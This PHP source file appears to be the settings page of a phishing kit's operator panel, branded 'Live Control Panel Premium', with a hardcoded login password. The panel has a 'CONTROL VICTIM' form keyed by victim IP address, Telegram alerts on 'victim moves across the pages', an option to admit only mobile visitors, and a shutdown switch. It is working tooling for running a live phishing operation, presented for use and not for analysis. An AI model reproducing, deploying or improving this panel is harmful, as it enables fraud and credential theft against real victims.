File "settings.php"
Full Path: /home/xgsotb2m/public_html/spo/panel/settings.php
File size: 7.03 KB
MIME-type: --
Charset: utf-8
<?php
session_start();
require "classes/admin.class.php";
// Add this block for the password check
$encoded_password = base64_encode("e8#iezWZUam@1.8");
if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
if (base64_encode($_POST['password']) === $encoded_password) {
$_SESSION['authenticated'] = true;
} else {
$error = "Invalid password. Please try again.";
}
}
// Display password form and exit if not authenticated
if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
?>
<!doctype html>
<html>
<head>
<title>Login</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0">
<link rel="stylesheet" href="res/app.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css"/>
<style>
.login-container {
max-width: 400px;
margin: 50px auto;
padding: 20px;
border: 1px solid #ccc;
border-radius: 10px;
background: #f9f9f9;
text-align: center;
}
.login-container input[type="password"] {
width: 80%;
padding: 10px;
margin: 10px 0;
}
.login-container button {
padding: 10px 20px;
background-color: #4CAF50;
color: white;
border: none;
border-radius: 5px;
cursor: pointer;
}
.error {
color: red;
}
</style>
</head>
<body>
<div class="login-container">
<h2>Admin Login</h2>
<?php if (isset($error)): ?>
<p class="error"><?php echo $error; ?></p>
<?php endif; ?>
<form method="post">
<input type="password" name="password" required placeholder="Enter Password">
<br>
<button type="submit">Login</button>
</form>
</div>
</body>
</html>
<?php
exit();
}
}
$admin = new Admin;
$admin->setDataFile("data/admin.json");
$settings = $admin->getData()['settings'];
$pc_block = $settings['pc_block'];
$shutdown = $settings['shutdown'];
$notifs = $settings['notifications'];
?>
<!doctype html>
<html>
<head>
<title>Settings</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0">
<link rel="stylesheet" href="res/app.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css"/>
</head>
<body>
<div class="header">
<div class="left">
<i class='fa fa-user'></i> Welcome, Admin </b>
</div>
<div class="right">
<button onclick="window.location='settings.php';"><i class='fa fa-home'></i>Settings </button>
</div>
</div>
<div class="content">
<div class="holder">
<div class="multi">
<div class="box">
<div class="title">CONTROL VICTIM</div>
<div class="content">
<p>Please find the IP address in your received results.</p>
<form action="view.php" method="get">
<div class="input">
<input type="text" name="vip" id="bot-token" required placeholder="Victim IP address">
</div>
<button type="submit">GO</button>
</form>
</div>
</div>
<form action="update.php" method="post">
<?php
if(isset($_GET['update']) and $_GET['update']=='success'){
echo "<h3 style='color:green;'>Data updated successfully!</h3>";
}
?>
<div class="box">
<div class="title">Pc Devices Block</div>
<div class="content">
<div class="input">
<p>Block pc devices? if you selected Yes then only mobiles will access to the pages.</p>
<label><input type="radio" name="block_pc" required value="1" <?php if($pc_block==1){echo "checked";} ?>> Yes</label>
<label><input type="radio" name="block_pc" required value="0" <?php if($pc_block==0){echo "checked";} ?>> No</label>
</div>
</div>
</div>
<div class="box">
<div class="title">Telegram Notifications</div>
<div class="content">
<div class="input">
<p>You want to receive notifications of victim moves across the pages?</p>
<label><input type="radio" name="notifications" required value="1" <?php if($notifs==1){echo "checked";} ?>> Yes</label>
<label><input type="radio" name="notifications" required value="0" <?php if($notifs==0){echo "checked";} ?>> No</label>
</div>
</div>
</div>
<div class="box">
<div class="title">Shut down</div>
<div class="content">
<div class="input">
<p>If you selected Yes then all pages won't be accessible until you select No again.</p>
<label><input type="radio" name="shutdown" required value="1" <?php if($shutdown==1){echo "checked";} ?>> Yes</label>
<label><input type="radio" name="shutdown" required value="0" <?php if($shutdown==0){echo "checked";} ?>> No</label>
</div>
</div>
</div>
<button style="margin:10px;">Save Changes</button>
</form>
</div>
</div>
</div>
<div class="footer">
<div class="info">Live Control Panel Premium</div>
</div>
<script>
function showError(msg){
$(".loader").hide();
$(".loader-error").hide();
$("#error-msg").html(msg);
$("#errorbox").show().delay(2000).fadeOut();
}
function showSuccess(msg){
$(".loader").hide();
$(".loader-error").hide();
$("#success-msg").html(msg);
$("#successbox").show().delay(2000).fadeOut();
}
function logout(){
window.location="index.php?logout";
}
</script>
</body>
</html>